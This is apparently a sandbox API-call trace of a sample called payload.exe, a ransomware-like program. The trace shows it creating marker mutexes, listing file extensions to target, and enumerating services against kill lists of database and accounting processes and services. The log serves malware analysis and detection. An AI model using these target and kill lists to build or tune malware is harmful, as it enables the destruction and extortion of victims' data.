# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 09:10:47 # Log Creation Date: 03.09.2020 10:55:15.800 Process: id = "1" image_name = "payload.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe" page_root = "0x47e44000" os_pid = "0x7ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x460" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec75" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x508 [0027.032] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76ac0000 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetProcAddress") returned 0x76ad1222 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetModuleHandleW") returned 0x76ad34b0 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="FindNextFileW") returned 0x76ad54ee [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="FindClose") returned 0x76ad4442 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="MoveFileW") returned 0x76ae9af0 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetFileSizeEx") returned 0x76ad59e2 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetModuleFileNameW") returned 0x76ad4950 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetFileAttributesW") returned 0x76ad1b18 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="ExitProcess") returned 0x76ad7a10 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetCommandLineW") returned 0x76ad5223 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetComputerNameW") returned 0x76addd0e [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetComputerNameA") returned 0x76aeb6e0 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="CreateMutexW") returned 0x76ad424c [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="lstrlenW") returned 0x76ad1700 [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="lstrlenA") returned 0x76ad5a4b [0027.032] GetProcAddress (hModule=0x76ac0000, lpProcName="GetCurrentProcess") returned 0x76ad1809 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="WaitForSingleObject") returned 0x76ad1136 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="GetLogicalDrives") returned 0x76ad5371 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="GetTickCount") returned 0x76ad110c [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="DeleteFileW") returned 0x76ad89b3 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="WideCharToMultiByte") returned 0x76ad170d [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76ad1916 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="Sleep") returned 0x76ad10ff [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="LeaveCriticalSection") returned 0x77162270 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="ReadFile") returned 0x76ad3ed3 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="CreateFileW") returned 0x76ad3f5c [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="OpenMutexW") returned 0x76ad5151 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="EnterCriticalSection") returned 0x771622b0 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="WaitForMultipleObjects") returned 0x76ad4220 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="lstrcmpiW") returned 0x76aed5cd [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="lstrcmpiA") returned 0x76ad3e8e [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="DeleteCriticalSection") returned 0x771745f5 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="ReleaseMutex") returned 0x76ad111e [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="CloseHandle") returned 0x76ad1410 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="GetVersion") returned 0x76ad4467 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="CreateThread") returned 0x76ad34d5 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="ExpandEnvironmentStringsW") returned 0x76ad4173 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="QueryPerformanceCounter") returned 0x76ad1725 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="QueryPerformanceFrequency") returned 0x76ad41f0 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="GetCurrentProcessId") returned 0x76ad11f8 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="SetFileAttributesW") returned 0x76aed4f7 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="GetVolumeInformationW") returned 0x76aec860 [0027.033] GetProcAddress (hModule=0x76ac0000, lpProcName="WriteFile") returned 0x76ad1282 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="SetFilePointerEx") returned 0x76aec807 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="SetEndOfFile") returned 0x76aece2e [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="FindFirstFileW") returned 0x76ad4435 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="GetProcessHeap") returned 0x76ad14e9 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="HeapReAlloc") returned 0x77181f6e [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="HeapAlloc") returned 0x7716e026 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="HeapFree") returned 0x76ad14c9 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="CreatePipe") returned 0x76b5415b [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="SetHandleInformation") returned 0x76ae195c [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="CreateProcessW") returned 0x76ad103d [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="CompareStringW") returned 0x76ad3bca [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="CompareStringA") returned 0x76ad3c5a [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="OpenProcess") returned 0x76ad1986 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="TerminateProcess") returned 0x76aed802 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="GetSystemTime") returned 0x76ad5a96 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="SystemTimeToFileTime") returned 0x76ad5a7e [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="GetLastError") returned 0x76ad11c0 [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="CreateToolhelp32Snapshot") returned 0x76af735f [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="Process32NextW") returned 0x76af896c [0027.034] GetProcAddress (hModule=0x76ac0000, lpProcName="Process32FirstW") returned 0x76af8baf [0027.034] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75d70000 [0028.484] GetProcAddress (hModule=0x75d70000, lpProcName="RegOpenKeyExW") returned 0x75d8468d [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="RegQueryValueExW") returned 0x75d846ad [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="RegSetValueExW") returned 0x75d814d6 [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="RegCloseKey") returned 0x75d8469d [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="OpenProcessToken") returned 0x75d84304 [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="GetTokenInformation") returned 0x75d8431c [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="OpenSCManagerW") returned 0x75d7ca64 [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="OpenServiceW") returned 0x75d7ca4c [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="CloseServiceHandle") returned 0x75d8369c [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="ControlService") returned 0x75d97144 [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="QueryServiceStatus") returned 0x75d82a86 [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="EnumDependentServicesW") returned 0x75d71e3a [0028.485] GetProcAddress (hModule=0x75d70000, lpProcName="EnumServicesStatusExW") returned 0x75d7b466 [0028.485] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75a50000 [0029.613] GetProcAddress (hModule=0x75a50000, lpProcName="SystemParametersInfoW") returned 0x75a690d3 [0029.613] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74e00000 [0031.569] GetProcAddress (hModule=0x74e00000, lpProcName="ShellExecuteExW") returned 0x74e21e46 [0031.569] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77140000 [0031.569] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x7715fda0 [0031.569] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b60000 [0031.663] GetProcAddress (hModule=0x74b60000, lpProcName="WNetCloseEnum") returned 0x74b62dd6 [0031.663] GetProcAddress (hModule=0x74b60000, lpProcName="WNetOpenEnumW") returned 0x74b62f06 [0031.663] GetProcAddress (hModule=0x74b60000, lpProcName="WNetEnumResourceW") returned 0x74b63058 [0031.663] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76a80000 [0031.872] GetProcAddress (hModule=0x76a80000, lpProcName="WSAStartup") returned 0x76a83ab2 [0031.872] GetProcAddress (hModule=0x76a80000, lpProcName="socket") returned 0x76a83eb8 [0031.872] GetProcAddress (hModule=0x76a80000, lpProcName="send") returned 0x76a86f01 [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="recv") returned 0x76a86b0e [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="connect") returned 0x76a86bdd [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="closesocket") returned 0x76a83918 [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="gethostbyname") returned 0x76a97673 [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="inet_addr") returned 0x76a8311b [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="ntohl") returned 0x76a82d57 [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="htonl") returned 0x76a82d57 [0031.873] GetProcAddress (hModule=0x76a80000, lpProcName="htons") returned 0x76a82d8b [0031.873] GetProcessHeap () returned 0x880000 [0031.873] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x8940d0 [0031.874] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=15161069807) returned 1 [0031.874] GetTickCount () returned 0x11430f0 [0031.874] GetCurrentProcessId () returned 0x7ac [0031.874] GetTickCount () returned 0x11430f0 [0031.875] GetTickCount () returned 0x11430f0 [0031.875] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x8940f8 [0031.875] GetVersion () returned 0x1db10106 [0031.875] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x8836b8 [0031.875] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890bd8 [0031.875] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890bd8, Size=0x20) returned 0x894148 [0031.875] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894148, Size=0x40) returned 0x8946b8 [0031.875] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x894908 [0031.875] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87A") returned 0x0 [0031.875] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_TOHS87A") returned 0x84 [0031.876] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8836b8 | out: hHeap=0x880000) returned 1 [0031.876] lstrlenW (lpString="Global\\syncronize_") returned 18 [0031.876] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8946b8 | out: hHeap=0x880000) returned 1 [0031.876] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x8836b8 [0031.876] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890bd8 [0031.876] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890bd8, Size=0x20) returned 0x894148 [0031.876] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894148, Size=0x40) returned 0x8946b8 [0031.876] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8a4910 [0031.876] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_TOHS87U") returned 0x0 [0031.876] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_TOHS87U") returned 0x88 [0031.876] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8836b8 | out: hHeap=0x880000) returned 1 [0031.876] lstrlenW (lpString="Global\\syncronize_") returned 18 [0031.876] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8946b8 | out: hHeap=0x880000) returned 1 [0031.877] GetVersion () returned 0x1db10106 [0031.877] GetCurrentProcess () returned 0xffffffff [0031.877] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0031.877] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0031.877] CloseHandle (hObject=0x8c) returned 1 [0031.877] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0031.877] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0031.877] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8836b8 [0031.877] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890bd8 [0031.877] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890bd8, Size=0x20) returned 0x894148 [0031.877] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894148, Size=0x40) returned 0x8946b8 [0031.877] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8946b8, Size=0x80) returned 0x8946b8 [0031.877] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8946b8, Size=0x100) returned 0x8946b8 [0031.877] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x34) returned 0x8947c0 [0031.877] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8907c8 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8907d8 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8907e8 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890bd8 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894800 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890bf0 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894800, Size=0x8) returned 0x894800 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890c08 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894800, Size=0x10) returned 0x894800 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890c20 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890c38 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894800, Size=0x20) returned 0x894800 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890c50 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890c68 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8907c8, Size=0x8) returned 0x8907c8 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8907d8, Size=0x8) returned 0x8907d8 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894828 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890c80 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894838 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890c98 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894838, Size=0x8) returned 0x894838 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4930 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894838, Size=0x10) returned 0x894838 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4948 [0031.878] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894850 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894838, Size=0x20) returned 0x894860 [0031.878] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8907c8, Size=0x10) returned 0x894838 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8907d8, Size=0x10) returned 0x894888 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8907c8 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4960 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8907d8 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4978 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8907d8, Size=0x8) returned 0x8907d8 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8948a0 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4990 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8948b0 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b49a8 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8948b0, Size=0x8) returned 0x8948b0 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894838, Size=0x20) returned 0x8b4d18 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894888, Size=0x20) returned 0x8b4d40 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894888 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b49c0 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894838 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b49d8 [0031.879] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894838, Size=0x8) returned 0x894838 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b4d68 [0031.879] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b4d88 [0031.879] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0031.879] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8946b8 | out: hHeap=0x880000) returned 1 [0031.879] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0031.885] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b49f0 [0031.885] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b49f0, Size=0x20) returned 0x894350 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x894710 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x80) returned 0x894710 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x100) returned 0x8b5060 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b49f0 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b49f0, Size=0x20) returned 0x894350 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x894710 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x80) returned 0x894710 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x100) returned 0x8b5168 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b49f0 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894710 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4a08 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x8) returned 0x894710 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x894720 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x10) returned 0x894740 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x894758 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x894350 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894740, Size=0x20) returned 0x894778 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x894378 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x8947a0 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x8943a0 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4a20 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894710 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8b5270 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x8) returned 0x894710 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8b52b8 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894710, Size=0x10) returned 0x894740 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b5300 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b5320 [0031.886] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894740, Size=0x20) returned 0x8b5340 [0031.886] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8b5368 [0031.886] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0031.886] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5060 | out: hHeap=0x880000) returned 1 [0031.886] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0031.886] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5168 | out: hHeap=0x880000) returned 1 [0031.886] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b58e8 [0031.888] EnumServicesStatusExW (in: hSCManager=0x8b58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0031.889] GetLastError () returned 0xea [0031.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x8b91e8 [0031.889] EnumServicesStatusExW (in: hSCManager=0x8b58e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b91e8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8b91e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0031.889] CloseServiceHandle (hSCObject=0x8b58e8) returned 1 [0031.890] lstrlenW (lpString="Appinfo") returned 7 [0031.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0031.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0031.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0031.891] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0031.891] lstrlenW (lpString="AudioSrv") returned 8 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0031.891] lstrlenW (lpString="BFE") returned 3 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0031.891] lstrlenW (lpString="CryptSvc") returned 8 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0031.891] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0031.891] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0031.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0031.891] lstrlenW (lpString="CscService") returned 10 [0031.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0031.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0031.891] 